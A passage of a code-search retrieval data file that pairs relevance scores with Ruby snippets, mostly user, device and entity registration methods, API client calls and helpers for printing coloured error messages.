"docid": "e32d29cd5504646e7a590c3bc8a0986d",
"score": "0.5473227",
"text": "def register\r\n \r\n end",
"title": ""
},
{
"docid": "603d29b6ea9d0976a767610f84845588",
"score": "0.54559636",
"text": "def create\n entity_data = entity_params\n entity_data[:uid] = Services::UniqueIdGenerator.new.call\n cmd = Commands::Entities::CreateEntity.new(entity_data)\n execute(cmd)\n redirect_to entities_url, success: 'Entity was successfully created.'\n rescue => error\n redirect_to new_entity_url, warning: error_messages(error)\n end",
"title": ""
},
{
"docid": "539b5073485f5f80653a7ba6cd715e0d",
"score": "0.5435614",
"text": "def register\n # running successfully\n # class_name = params[:user_type].camelize\n # registration_stuff = params[\"#{params[:user_type].to_sym}\"]\n # template = \"#{params[:user_type].pluralize}/new\"\n # save_credentials(class_name, registration_stuff, template)\n\n if(params[:user_type] == 'job_seeker')\n class_name = \"JobSeeker\"\n registration_stuff = params[:job_seeker]\n template = \"job_seekers/new\"\n save_credentials(class_name, registration_stuff, template)\n else\n class_name = \"Employer\"\n registration_stuff = params[:employer]\n template = \"employers/new\"\n save_credentials(class_name, registration_stuff, template)\n end\n end",
"title": ""
},
{
"docid": "7c35e46e7c69bf38b7556ca1728ed5c6",
"score": "0.5434548",
"text": "def register(partner_id, token, type, email=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'partnerId', partner_id)\n\t\t\tclient.add_param(kparams, 'token', token)\n\t\t\tclient.add_param(kparams, 'type', type)\n\t\t\tclient.add_param(kparams, 'email', email)\n\t\t\tclient.queue_service_action_call('social', 'register', 'KalturaSocial', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend",
"title": ""
},
{
"docid": "2cc1ecbd7422ac2bbd77cab2b9268a48",
"score": "0.54216063",
"text": "def identity_create\n # Potential threat of overlap\n identity = Identity.create(uid:rand(100000000..9999999999), provider: 'registration')\n identity.user_id = resource.id\n identity.name = params['user']['name'] #Looks very ugly\n identity.email = resource.email\n identity.save\n end",
"title": ""
},
{
"docid": "95745a6d589d844a94c9090d2a8ea0c0",
"score": "0.53937757",
"text": "def register\n ring_server.write [:name, @service, DRbObject.new(@object), @identifier],\n @renewer\n return nil\n end",
"title": ""
},
{
"docid": "52d337dd17eefdc41769acebece0b4e8",
"score": "0.5365775",
"text": "def register(partner, cms_password='', template_partner_id=KalturaNotImplemented, silent=false)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'partner', partner);\n\t\t\tclient.add_param(kparams, 'cmsPassword', cms_password);\n\t\t\tclient.add_param(kparams, 'templatePartnerId', template_partner_id);\n\t\t\tclient.add_param(kparams, 'silent', silent);\n\t\t\tclient.queue_service_action_call('partner', 'register', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"title": ""
},
{
"docid": "ef63c886fd55e5cc568ed86d7166e8fa",
"score": "0.53608614",
"text": "def register(connection = nil)\n client_id = SecureRandom.uuid\n @clients[\"#{client_id}\"] = connection\n client_id.to_s\n end",
"title": ""
},
{
"docid": "37eec3d62264eab830acd6c08787f168",
"score": "0.5353401",
"text": "def new_entity\n Taxcalendario::Admin::Client::Entities::User.new\n end",
"title": ""
},
{
"docid": "5dfdf40f2b773dcafd0c8e75b7fcaa52",
"score": "0.53170705",
"text": "def register()\n\tentry = {\"userid\" => @userid, \"username\" => @username, \"email\" => @email, \"password\" => @password}\n\tDATABASE.newEntry(\"users\", entry)\n\tend",
"title": ""
},
{
"docid": "747b768d64c44e30e17a5c66cc43757c",
"score": "0.53147846",
"text": "def register_with_system(name)\n @unique_id = name.object_id\n end",
"title": ""
},
{
"docid": "c4f2e3f20a9e02b215dde10dbe0c299b",
"score": "0.53096396",
"text": "def register(*args)\n registry.register(*args)\n end",
"title": ""
},
{
"docid": "cdb1ecf155fb09659a986deeced4d451",
"score": "0.52920413",
"text": "def register(resource_type, filename, object)\n\t resource = resource_type.new(@server, filename, object)\n\t add(resource)\n\t resource\n\tend",
"title": ""
},
{
"docid": "f069776edbaa4c449dff3b0d7e9c5a73",
"score": "0.52890766",
"text": "def create(entity)\n\n # check some basic pre-conditions\n raise \"Endpoint is not connected!\" unless @connected\n raise \"#{entity} not an entity\" unless entity.kind_of? Occi::Core::Entity\n\n # is this entity valid?\n entity.model = @model\n entity.check\n\n Occi::Log.debug \"Entity kind: #{entity.kind}\"\n kind = entity.kind\n raise \"No kind found for #{entity}\" unless kind\n\n # get location for this kind of entity\n Occi::Log.debug \"Kind location: #{entity.kind.location}\"\n location = kind.location\n collection = Occi::Collection.new\n\n # is this entity a Resource or a Link?\n Occi::Log.debug \"Entity class: #{entity.class.name}\"\n collection.resources << entity if entity.kind_of? Occi::Core::Resource\n collection.links << entity if entity.kind_of? Occi::Core::Link\n\n # make the request\n post location, collection\n end",
"title": ""
},
{
"docid": "c021e4f17a31493420287e2357bdf1a5",
"score": "0.5281712",
"text": "def run\n super\n\n entity_name = _get_entity_name\n check_and_create entity_name\n\n # trello strips out periods, so handle dns records differently\n if _get_entity_type_string == \"Domain\"\n check_and_create entity_name.split(\".\").first\n check_and_create entity_name.gsub(\".\",\"\")\n end\n\n end",
"title": ""
},
{
"docid": "21e8c89a53fcda6d2984e69fa224e52a",
"score": "0.5275741",
"text": "def putEntityserve( entity_id, country, event_type, domain, path)\n params = Hash.new\n params['entity_id'] = entity_id\n params['country'] = country\n params['event_type'] = event_type\n params['domain'] = domain\n params['path'] = path\n return doCurl(\"put\",\"/entityserve\",params)\n end",
"title": ""
},
{
"docid": "79a59254dfb6b37ab51838abe2d2145e",
"score": "0.5271321",
"text": "def register\n\n\tend",
"title": ""
},
{
"docid": "a7564eb31d08078c2d9faaa97be20c64",
"score": "0.52702856",
"text": "def register\n raw \"PASS #{@config[:password]}\" if @config.key? :password\n raw \"CAP LS\" if defined? MODULE_LOADED_CLIENT_CAPABILITIES\n\n raw \"NICK #{@nick}\"\n raw \"USER #{@user} 0 0 :#{@realname}\"\n end",
"title": ""
},
{
"docid": "e552dc9f8f37eee49ce60407b0203b0b",
"score": "0.52686036",
"text": "def register_device(device, args={})\n device_info.merge!(args)\n response = subject.device(device.uid).register(device_info, reg_data)\n device.token = response['data']\n response\n end",
"title": ""
},
{
"docid": "0ceb2855d355b76bccbfddb453818112",
"score": "0.52623737",
"text": "def register\n client.post('/v1/push/register', body: {\n uuid: user_id, device_id: id, push_type: type, push_token: token.gsub(/\\s/, '')\n })\n end",
"title": ""
},
{
"docid": "515bcb97bba31c65451597ffe3121965",
"score": "0.5247177",
"text": "def create\n # Consider request as illegal if performing POST on identifiable resource\n if params[entities_key] && params[entities_key][:id]\n render json: { errors: process_errors([\"Creation of resource with id\"], 404) }, status: :conflict\n return\n end\n \n # Upsert the entity\n entity = ConnecEntity.new(group_id: @group_id, entity_name: entities_key)\n entity.document = (entity.document || {}).merge(params[entities_key])\n entity.save\n \n if entity && entity.errors.empty?\n logger.info(\"INSPECT: #{entities_key} => #{process_entity(entity).to_json}\")\n render json: { entities_key => process_entity(entity.reload) }, status: :created, location: resource_url(entity)\n else\n render json: { errors: process_errors(entity.errors.full_messages, 400, entity) }, status: :bad_request\n end\n \n end",
"title": ""
},
{
"docid": "7e34e8c96ee246079887a426d7bb16b5",
"score": "0.5239412",
"text": "def register_external(definition, options = {})\n register = send_put_request(@conn, ['/v1/catalog/register'], options, definition)\n register.status == 200\n end",
"title": ""
},
{
"docid": "b57111903b661f70e8e8d482e6653239",
"score": "0.5223609",
"text": "def run\n super\n # create an ip\n ip_address = \"#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}\"\n x = create_entity Entities::Host, { :name => ip_address }\n end",
"title": ""
},
{
"docid": "7e3b3d3297c6aeee2c514b1de5e3e27e",
"score": "0.5220213",
"text": "def register(email, user_id = nil)\n attrs = {\n device: device_data\n }\n attrs[:email] = email if email\n attrs[:userId] = user_id if user_id\n Iterable.request(conf, base_path).post(attrs)\n end",
"title": ""
},
{
"docid": "48eb3d95568a926ae31245ae48ace8a8",
"score": "0.521639",
"text": "def run\n super\n\n # Attach to the corpwatch service & search\n x = Client::Corpwatch::CorpwatchService.new\n corps = x.search @entity.name\n\n corps.each do |corp|\n # Create a new organization entity & attach a record\n o = create_entity Entities::Organization, { \n :name => corp.name, \n :data => corp.to_s\n }\n \n create_entity(Entities::PhysicalLocation, {\n :name => corp.address,\n :address => corp.address, \n :state => corp.state,\n :country => corp.country }\n )\n end\nend",
"title": ""
},
{
"docid": "56fbb02deed309fce265adc76c0cfde3",
"score": "0.5206496",
"text": "def add_entity(entity)\n key = \"contacts_for:#{entity.id}\"\n @redis.sadd(key, self.id)\n end",
"title": ""
},
{
"docid": "c640c42e359cb1a439041bbad53e01f9",
"score": "0.51979554",
"text": "def register(params)\n @fields = params[\"fields\"]\n @tag = params[\"tag\"]\n @key = params[\"key\"]\n @digest = OpenSSL::Digest::SHA256.new\nend",
"title": ""
},
{
"docid": "45b495d9d7bca1e9914cc743402b8aa9",
"score": "0.51765114",
"text": "def register(type, cls); end",
"title": ""
},
{
"docid": "a31ff7bcdc9455ce35afc19b1eab1886",
"score": "0.5172466",
"text": "def register(...)\n container.register(...)\n end",
"title": ""
},
{
"docid": "2cae20ecf2689014e66be13ae26bf788",
"score": "0.51635677",
"text": "def putEntity( type, scope, country, trust, our_data)\n params = Hash.new\n params['type'] = type\n params['scope'] = scope\n params['country'] = country\n params['trust'] = trust\n params['our_data'] = our_data\n return doCurl(\"put\",\"/entity\",params)\n end",
"title": ""
},
{
"docid": "61d2b7c564aee9c85cd6ecd4a1b6757d",
"score": "0.5162099",
"text": "def register_domain(attribs)\n Args.new(attribs) do |c|\n c.requires :domain, :contacts, :nameservers\n c.optionals :term, :options\n end\n\n attribs[:term] = 1 unless attribs[:term]\n nameservers = format_nameservers(attribs[:nameservers])\n\n attributes = {\n :contact_set => attribs[:contacts],\n :custom_nameservers => 1,\n :custom_tech_contact => 1,\n :domain => attribs[:domain],\n :nameserver_list => nameservers,\n :period => attribs[:term],\n :reg_username => @user,\n :reg_password => @password\n }\n\n attributes[:reg_type] = :new unless attribs[:options] && attribs[:options][:reg_type]\n attributes.merge!(attribs[:options]) if attribs[:options]\n attributes[:key] = 'attributes'\n\n res = run_command :sw_register, :domain, attributes\n end",
"title": ""
},
{
"docid": "e4b7dd6b144af990aba0ec8a8bead4c3",
"score": "0.5161988",
"text": "def register domain_model_instnace\n\t\t@domain_model_instnaces.push domain_model_instnace\n\tend",
"title": ""
},
{
"docid": "ebabdf679e402cd3ce99942d2d6757fb",
"score": "0.5136282",
"text": "def register_model(model)\n model_dao_name, primary_key = keys_from_model(model, action: :register)\n return self unless model_dao_name.present? && primary_key.present?\n\n log \"register model #{model_dao_name}:#{primary_key}\"\n\n @identity_map[model_dao_name] ||= {}\n @identity_map[model_dao_name][primary_key] = model\n\n self\n end",
"title": ""
},
{
"docid": "1c3d9b8362a3869ea8936d3ee1bd14ef",
"score": "0.51315176",
"text": "def create_and_register_service(service_hash)\n # SystemDebug.debug(SystemDebug.services, :attach_ing_create_and_egister_service, service_hash)\n create_and_register_managed_service(service_hash)\n end",
"title": ""
},
{
"docid": "fa81adeac626d66d62b8b8a11651285a",
"score": "0.51287216",
"text": "def custom_entity_type_and_analyzer(**args)\n validate_entity_analyzer_args(args)\n custom_entity_types[args[:type]] = Epiphany::EntityType.new(args)\n end",
"title": ""
},
{
"docid": "fa81adeac626d66d62b8b8a11651285a",
"score": "0.51287216",
"text": "def custom_entity_type_and_analyzer(**args)\n validate_entity_analyzer_args(args)\n custom_entity_types[args[:type]] = Epiphany::EntityType.new(args)\n end",
"title": ""
},
{
"docid": "3ec6b0f30f2d7b5108bba35868eed544",
"score": "0.5125128",
"text": "def create_local\n uuid = @data[:id]\n\n log_event \"[I] Creating local user #{uuid}\"\n\n @entity = User.new(uuid: uuid)\n @entity.agent = Agent.named(@data.dig(:meta, :agent_name).to_s)\n\n apply_for_create\n\n @entity.save\n @entity\n end",
"title": ""
},
{
"docid": "f74bfefdd91bce3fd9530868cdce87f4",
"score": "0.5118662",
"text": "def register(start_command, home = self.install_folder)\n dependency = 0\n dependency = 1 if self.dependable\n username = 'EdenManager'\n unless options.nil?\n unless options['username'].nil?\n username = options['username']\n end\n end\n $db.services.insert(:service_name => self.name, :service_type => self.type, :username => username, :folder_name => home, :status => 'Installing', :start_command => start_command, :pid_file => self.pid_file, :running => 0, :dependency => dependency, :version => self.version)\n end",
"title": ""
},
{
"docid": "70eb70795b2bcd7051b316738024dd07",
"score": "0.51110375",
"text": "def create(body = {})\n @client.identification.create(body)\n end",
"title": ""
},
{
"docid": "e3e5a8ee84b338ea3bed18ca9b53e9b8",
"score": "0.5106336",
"text": "def create(entity)\n post(resource_path_for_entity(entity), entity.to_json)\n end",
"title": ""
},
{
"docid": "547a5802ff9376c1ea177d16c28bb261",
"score": "0.5099705",
"text": "def sign_up\n NexaasID::Resources::SignUp.new(api_token, config)\n end",
"title": ""
},
{
"docid": "28fdea461ce42af388f8ecea4c3adcac",
"score": "0.509495",
"text": "def register(command)\n args = command.split(\" \")[1..-1]\n params = { :name => args[0], :number => args[1], :email => args[2] }\n add_application(params)\nend",
"title": ""
},
{
"docid": "19a2506a47d6f380cfbc52b309e2fb14",
"score": "0.50935864",
"text": "def before_save\n self.resource_type ||= self.class.to_s.split('::')[-1].downcase\n self.uuid ||= UUIDTools::UUID.random_create\n self.name ||= self.uuid\n self.urn ||= GURN.create(self.name, :type => self.class.to_s.split('::')[-1].downcase).to_s\n super\n end",
"title": ""
},
{
"docid": "c8a0acbcb9a31a435ad4f699a8c6b475",
"score": "0.50905156",
"text": "def register_client(attributes)\n user = register_user(attributes)\n user.add_role(Role::Client)\n user.save\n user\n end",
"title": ""
},
{
"docid": "fb481f467cd34cd26f4085a1a079b08f",
"score": "0.50870717",
"text": "def run\n _log \"Enriching... AWS EC2 Instance: #{_get_entity_name}\"\n\n public_hostname = _get_entity_detail('public_dns_name')\n private_hostname = _get_entity_detail('private_dns_name')\n # no point in having public ip address since DNSRecord enrichment will create it\n private_ip_address = _get_entity_detail('private_ip_address')\n\n # ec2 entity belongs to organization so setting scope to true\n _create_entity 'DnsRecord', {'name' => public_hostname, 'scoped' => true } unless public_hostname.empty? || public_hostname.nil? \n _create_entity 'DnsRecord', 'name' => private_hostname unless private_hostname.empty? || private_hostname.nil?\n _create_entity 'IpAddress', 'name' => private_ip_address unless private_ip_address.empty? || private_ip_address.nil?\n\n end",
"title": ""
},
{
"docid": "28182710c2f57034edef0a60a0c98d9d",
"score": "0.508532",
"text": "def save\n requires :ctid\n raise Fog::Errors::Error.new('Resaving an existing object may create a duplicate') if persisted?\n meta_hash = {}\n create_options = {\n 'ctid' => ctid,\n 'ostemplate' => ostemplate,\n 'layout' => layout ,\n 'hostname' => hostname,\n 'name' => name,\n 'ipadd' => ipadd,\n 'diskspace' => diskspace,\n 'private' => private,\n 'root' => root,\n 'local_uid' => local_uid,\n 'local_gid' => local_gid\n }\n data = service.create_server(create_options)\n reload\n end",
"title": ""
},
{
"docid": "81dc20b7a0e940210b69dbf9459bfa7c",
"score": "0.50809175",
"text": "def <<(entity)\n reg_id = entity.registry_id\n if old = self[reg_id]\n fire_duplicate_id(old, entity)\n old\n else\n @registry[reg_id] = entity\n entity_list(entity) << entity\n add_entity_to_grid(entity)\n entities_bordering_entity_at(entity.x, entity.y).each(&:wake!)\n entity\n end\n end",
"title": ""
},
{
"docid": "c502095d8f8be7429ab1533abb8585f8",
"score": "0.5060838",
"text": "def _register_client(credentials)\n DoubleDutch::SpaceCadet::Config.register(\n \"#{credentials[:region]}-#{credentials[:env]}\".downcase,\n credentials[:username].downcase,\n credentials[:key],\n credentials[:region].upcase\n )\n end",
"title": ""
},
{
"docid": "687ce84bed815ad2fb67c18b03e66821",
"score": "0.50584066",
"text": "def register\n enc_password = Authentication::Encryptor.digest(password)\n account = Authentication::Account.find_or_initialize_by({email: username})\n account.assign_attributes({'encrypted_password' => enc_password, 'gid' => gid})\n account.roles.concat(role.to_a).uniq!\n account.save!\n {'account_id' => account.id}\n end",
"title": ""
},
{
"docid": "ca53a485afe49e8c2b672eb8f44e7208",
"score": "0.5057943",
"text": "def set_Entity(value)\n set_input(\"Entity\", value)\n end",
"title": ""
},
{
"docid": "879cf7a77cc332ed45c089cb9cd8f18f",
"score": "0.5045591",
"text": "def create(entity)\n raise Occi::Api::Client::Errors::NotImplementedError, \"#{__method__} is just a stub!\"\n end",
"title": ""
},
{
"docid": "2e9894750004dbcf20c40a7b2b9c091b",
"score": "0.50436985",
"text": "def run\n super\n\n if _get_entity_type_string == \"WebAccount\"\n account_name = _get_entity_detail(\"username\")\n else\n account_name = \"#{_get_entity_name}\".sanitize_unicode\n end\n\n # try a couple variations\n if _get_entity_type_string == \"Domain\" && account_name =~ /\\./\n check_and_create account_name.split(\".\").first\n check_and_create account_name.gsub(\".\",\"\")\n check_and_create \"#{account_name.split(\".\")[0...-1].join(\"\")}\"\n else\n check_and_create account_name\n end\n\n end",
"title": ""
},
{
"docid": "456668f64335be345276f3121355813a",
"score": "0.50416386",
"text": "def store_message(email_name:, entity:, user: nil)\n self.metadata['email_name'] = email_name.to_s.truncate(80)\n self.metadata['entity_id'] = entity.id\n self.metadata['entity_type'] = entity.class.name\n self.metadata['user_id'] = user.id if user\n end",
"title": ""
},
{
"docid": "8501fd41e0a45c2a1df6268a83c01369",
"score": "0.5041142",
"text": "def register\n device = Device.create(device_params)\n if device.valid? \n render json: device, status: 200\n else \n render json: {\"error\": device.errors.full_messages}, status: 500\n end\n end",
"title": ""
},
{
"docid": "491df0ca32c43a6d62e6cec8817099b7",
"score": "0.50254935",
"text": "def register(params)\n# @timestamp = params[\"timestamp\"]\n# @source = param[\"source\"]\n# @beacon_id = param[\"beacon_id\"]\nend",
"title": ""
},
{
"docid": "86fd56f6fa2bd0a22dcd18b987418e79",
"score": "0.5014792",
"text": "def init_oso\n oso = Oso.new\n\n oso.register_class(\n Repository,\n fields: { id: String, }\n )\n\n oso.register_class(\n User,\n fields: { id: String, }\n )\n\n oso.register_class(\n RepoRole,\n fields: { name: String, }\n )\n\n oso\nend",
"title": ""
},
{
"docid": "558081fa68312e3212223fe55ecd3ca0",
"score": "0.50010926",
"text": "def sign_up(resource_name, resource)\n end",
"title": ""
},
{
"docid": "8e76ce600736b18c0dde94db9c4d625a",
"score": "0.4997517",
"text": "def register(instance)\n key = build_key(instance)\n key_registry[key] = instance\n end",
"title": ""
},
{
"docid": "fde72bdce830185c455cc6b521134740",
"score": "0.4991613",
"text": "def register_player!(params)\n self.player = Player.new(params)\n self.roles << :player\n self.save\n self.player.save\n self.player\n end",
"title": ""
},
{
"docid": "31cbcf765b7ca649f70bc73f534ad8d2",
"score": "0.49871972",
"text": "def register\n @response = client.request :user, :register3 do\n soap.element_form_default = :unqualified \n soap.namespaces[\"xmlns:login\"] = 'http://login.ext.soap.yodlee.com'\n \n soap.body = {\n :cobrand_context => cobrand_context,\n :user_credentials => credentials.credentials_hash, \n :user_profile => credentials.profile_hash,\n :attributes! => {:user_credentials => {\"xsi:type\" => \"login:PasswordCredentials\"}} \n }\n end\n \n hash_response = @response.to_hash\n context = hash_response[:register3_response][:register3_return][:user_context]\n parse_response(context)\n end",
"title": ""
},
{
"docid": "2538bd63a75f09f69595b59bd13887a8",
"score": "0.498623",
"text": "def entity_params\n params.require(:entity).permit(:name, :entity_type, :entity_id)\n end",
"title": ""
},
{
"docid": "af6f5d8d013e59ea51d2c6d8d8a60c33",
"score": "0.4979842",
"text": "def register(byte, type)\n MAPPINGS[byte] = type\n end",
"title": ""
},
{
"docid": "af6330683ead35fb3b34ca039f1fa997",
"score": "0.49754423",
"text": "def model_to_registration_mapping\n #{:model => 'server'}\n {:name => 'fullname', :email => 'email'}\n end",
"title": ""
},
{
"docid": "799b00a0b1d18394e8d076aa8579d2e6",
"score": "0.49744707",
"text": "def run\n super\n\n opt_create_nameservers = _get_option \"create_nameservers\"\n opt_create_contacts = _get_option \"create_contacts\"\n\n # take the first ip if we have a netblock\n if _get_entity_type_string == \"NetBlock\"\n\n # look up the first address\n lookup_string = _get_entity_name.split(\"/\").first\n out = whois_safe lookup_string\n return nil if out.empty?\n\n # and edit this netblock\n _log_good \"Setting entity details (NOTE, only using first range from whois)!\"\n wh = out.first\n get_and_set_entity_details wh\n\n elsif _get_entity_type_string == \"IpAddress\"\n \n # TODO... there might be a way to shortcut so many lookups... \n # store on the ipaddress? or create earlier\n # _get_entity_detail \"whois_full_text\" # return if we have it\n \n out = whois_safe _get_entity_name\n return nil if !out || (out && out.empty?)\n \n out.each do |nb|\n _create_entity \"NetBlock\", { \"name\" => nb[\"name\"] } \n end\n\n elsif _get_entity_type_string == \"Organization\"\n\n # look it up and create all known netblocks\n out = whois_query_arin_org _get_entity_name\n unless out.empty?\n out.each do |nb|\n _create_entity \"NetBlock\", {\"name\" => nb[\"name\"]}\n end\n end\n\n elsif _get_entity_type_string == \"DnsRecord\" || _get_entity_type_string == \"Domain\"\n\n out = whois_safe _get_entity_name\n return nil if out.empty?\n\n out.each do |wh| \n\n if opt_create_nameservers\n wh[\"nameservers\"].each do |n|\n _create_entity(\"DnsRecord\", { \"name\" => \"#{n}\" })\n end\n end\n\n if opt_create_contacts\n wh[\"contacts\"].each do |c|\n _log \"Creating person/email from contact: #{c}\"\n _create_entity(\"Person\", {\"name\" => c[\"name\"]})\n _create_entity(\"EmailAddress\", {\"name\" => c[\"email\"]})\n end\n end\n\n _set_entity_detail(\"whois_full_text\", wh[\"whois_full_text\"]) unless _get_entity_detail(\"whois_full_text\")\n _set_entity_detail(\"nameservers\", wh[\"nameservers\"]) unless _get_entity_detail(\"nameservers\")\n _set_entity_detail(\"contacts\", wh[\"contacts\"]) unless _get_entity_detail(\"contacts\")\n \n end\n\n else\n _log_error \"Unknown entity type, failing\"\n end\n\n end",
"title": ""
},
{
"docid": "27871a0772a54a444c3673dd04505313",
"score": "0.4973317",
"text": "def register(object)\n object_id = SecureRandom.uuid\n @objects[object_id] = object\n object_id\n end",
"title": ""
},
{
"docid": "c13084425588186bfe1f07825aea4a95",
"score": "0.4963657",
"text": "def register_server(name)\n do_send(Erlang::Tuple.new([\n Erlang::Atom.new('register_with_group'),\n Erlang::Atom.new(name)]))\n end",
"title": ""
},
{
"docid": "d284e8dd0c2463f720f1fdbc9a365b0a",
"score": "0.49619645",
"text": "def setup\n @models.each do |model|\n print \"ADDING SynchronizationId__c to #{model}... \"\n job = client.create(\n :custom_field,\n full_name: \"#{model}.SynchronizationId__c\",\n description: \"External Synchronization ID\",\n label: \"Synchronization ID\",\n type: \"Text\",\n external_id: true,\n unique: true,\n length: ENV[\"UUID_LENGTH\"] || 255,\n )\n\n begin\n job.on_complete { |_| puts \"DONE\" }.on_error { |_| puts \"FAILED\" }.perform\n rescue Savon::SOAP::Fault => e\n puts \"\\n(#{e.class}) #{e.message}\\n#{e.backtrace.join(\"\\n\")}\"\n end\n end\n end",
"title": ""
},
{
"docid": "0eb3bf6ec2df9ce5412182670c02700d",
"score": "0.49526423",
"text": "def entity_params\n params.require(:entity).permit(:name, :status_id, :registration_name, :website, :twitter, :linkedin, :finantial_year, :internal_owner_id)\n end",
"title": ""
},
{
"docid": "c581a1ec7db384ea5d255f41b6ab5d42",
"score": "0.4942061",
"text": "def register_external(definition)\n register(definition, '/v1/catalog/register')\n end",
"title": ""
},
{
"docid": "d14b73cd4fba21ece4a61154753e8871",
"score": "0.4940964",
"text": "def create\n pfid = self.product_family_id\n comptype = self.component_type\n raise NoMethodError unless pfid && comptype\n\n connection.post(\"/product_families/#{pfid}/#{comptype}.#{self.class.format.extension}\", encode, self.class.headers).tap do |response|\n self.id = id_from_response(response)\n load_attributes_from_response(response)\n end\n end",
"title": ""
},
{
"docid": "fbaef3568499183874be605048c7e270",
"score": "0.4932304",
"text": "def register\n \n registration_service = DeviceRegistrationService.new\n registration_response = registration_service.register(registration_params)\n\n if registration_response[:success]\n render json: registration_response, status: :ok\n else\n render json: registration_response, status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "9d118f8e3ce89f1f659e332597590f7a",
"score": "0.49309206",
"text": "def register\n data = {}\n if params[:user].blank?\n render json: get_v1_formatted_response({}, false, ['Invalid params']).to_json and return\n end\n\n User.transaction do\n user = User.find_by(email: user_params[:email])\n user = User.create(name: user_params[:user_name], email: user_params[:email], facebook_id: user_params[:facebook_id]) if user.blank?\n\n device = Device.where(user_device_id: device_params[:user_device_id]).first\n\n device.present? ? device.update_attributes(device_params.merge(user_id: user.id)) : user.devices.create!(device_params)\n\n data = {access_token: user.api_key}\n end\n\n render json: get_v1_formatted_response(data, true, ['Successfully registered']).to_json\n\n rescue Exception => e\n #todo use exception notifier for emailing the admins\n\n log_errors(e)\n render json: get_v1_formatted_response({}, false, ['Failed to register! please try again later']).to_json\n end",
"title": ""
},
{
"docid": "afaf20fab14a3e89c5aab681dc93d893",
"score": "0.49258128",
"text": "def entity_params\n params.require(:entity).permit(:name, :database, :domain)\n end",
"title": ""
},
{
"docid": "76bba6f3c61842651c663d41637612af",
"score": "0.49178076",
"text": "def save\n # TODO validar atributos?\n response = Http.post(\"/organizations/api/identities/#{self.identity.uuid}/accounts/\", create_body)\n raise \"unexpected response: #{response.code} - #{response.body}\" unless response.code == 201\n attributes_hash = MultiJson.decode(response.body)\n set_attributes(attributes_hash)\n @persisted = true\n @errors = {}\n true\n rescue *[RestClient::BadRequest] => e\n @persisted = false\n @errors = MultiJson.decode(e.response.body)\n false\n end",
"title": ""
},
{
"docid": "7d708556642aa4e5f80a746aea8555da",
"score": "0.49164888",
"text": "def insert(entity)\n @service.insert_entity(self, entity)\n end",
"title": ""
},
{
"docid": "41a8a6b82bae74d0bb388a9bcf7f5116",
"score": "0.4910901",
"text": "def add(entity)\n\t\t# TODO: set entity ID when adding to Space\n\t\t# (without a proper unique ID, serialization will not work. without serialization, we can't roll back history.)\n\t\t@entities << entity\n\t\t\n\t\t\n\t\t@cp_space.add_shape(entity.shape)\n\t\t@cp_space.add_body(entity.body)\n\tend",
"title": ""
},
{
"docid": "ca548dfcfb7a849d935fd8c728b4e84f",
"score": "0.49048316",
"text": "def register_fisherman(attributes)\n fisherman_name = attributes[:name]\n # TODO: Use a client, when we know which one\n known_aggregate_root_uuids[:fishermen][fisherman_name] = poseidon.sign_up_fisherman(name: fisherman_name)\n end",
"title": ""
}
] |
d62d14149c18f8ec04035988f728d261
|
Output the specified msg as an ANSIcolored error message (white on red).
|
[
{
"docid": "0601a32b0407ec47ee20122a236c2959",
"score": "0.7692939",
"text": "def error_message( msg, details='' )\n\t$stderr.puts colorize( 'bold', 'white', 'on_red' ) { msg } + details\nend",
"title": ""
}
] |
[
{
"docid": "d5726911b60c7d957a0df44ee44b2116",
"score": "0.8239322",
"text": "def error(msg)\n puts red(bold(\"[!] #{msg}\"))\n end",
"title": ""
},
{
"docid": "bff891d0a9033ed5576ec357a54218b3",
"score": "0.81380427",
"text": "def error_msg( msg )\n\t\tmessage ansi_code( 'bold', 'white', 'on_red' ) + msg + ansi_code( 'reset' )\n\tend",
"title": ""
},
{
"docid": "1fbfdb61a0e64506ce678ecb49295ca9",
"score": "0.8122961",
"text": "def error msg\n puts \"\\033[0;31m#{msg}\\033[0m\"\nend",
"title": ""
},
{
"docid": "3423c5e9bdc82fa85b68a726d43481d3",
"score": "0.778629",
"text": "def errorMessage( msg )\n\t\tmessage ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' )\n\tend",
"title": ""
},
{
"docid": "3423c5e9bdc82fa85b68a726d43481d3",
"score": "0.778629",
"text": "def errorMessage( msg )\n\t\tmessage ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' )\n\tend",
"title": ""
},
{
"docid": "2bdbbf9499b732cfaf69b5ba5cfddcf1",
"score": "0.7712914",
"text": "def error_message( msg, details='' )\n\t\t\t$stderr.puts colorize( 'bold', 'white', 'on_red' ) { msg } + details\n\t\tend",
"title": ""
},
{
"docid": "858fb1ba65bfef55052b1c987ea05e3c",
"score": "0.76683336",
"text": "def error_message( msg, details='' )\n\t\t$stderr.puts colorize( 'bold', 'white', 'on_red' ) { msg } + ' ' + details\n\tend",
"title": ""
},
{
"docid": "33486824c679d241c37978aff68a2dd8",
"score": "0.7608109",
"text": "def error(msg)\n puts \"#{self.red 'Error:'}\\033[0m #{msg}\"\n exit 1\n end",
"title": ""
},
{
"docid": "bbddb1b6dec102001a0861a0db6b367f",
"score": "0.7586453",
"text": "def message( msg )\n\t\t$stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' )\n\t\t$stderr.flush\n\tend",
"title": ""
},
{
"docid": "3284f2698acaef476c31db28cf4c815c",
"score": "0.75742596",
"text": "def error(message = \"\")\n puts ::Term::ANSIColor.red(message)\n end",
"title": ""
},
{
"docid": "6c663d05c88806e74c43b26b37e30df8",
"score": "0.75724494",
"text": "def error_red(msg)\n error color(msg, LogSubscriber::RED)\n end",
"title": ""
},
{
"docid": "7188fe9fda69e3c25b979d4dfc3397b4",
"score": "0.75311255",
"text": "def print_red_alert(msg)\n $stderr.print \"#{red}#{msg}#{reset}\\n\"\n #print_error \"#{red}#{msg}#{reset}\\n\"\n #puts_error \"#{red}#{msg}#{reset}\"\n end",
"title": ""
},
{
"docid": "3867e19e87d8c018ed7949040199dbef",
"score": "0.7441435",
"text": "def colour(msg)\n puts msg.colorize(:red)\n end",
"title": ""
},
{
"docid": "a51637c84cb2ad6b246389bf44532420",
"score": "0.73567384",
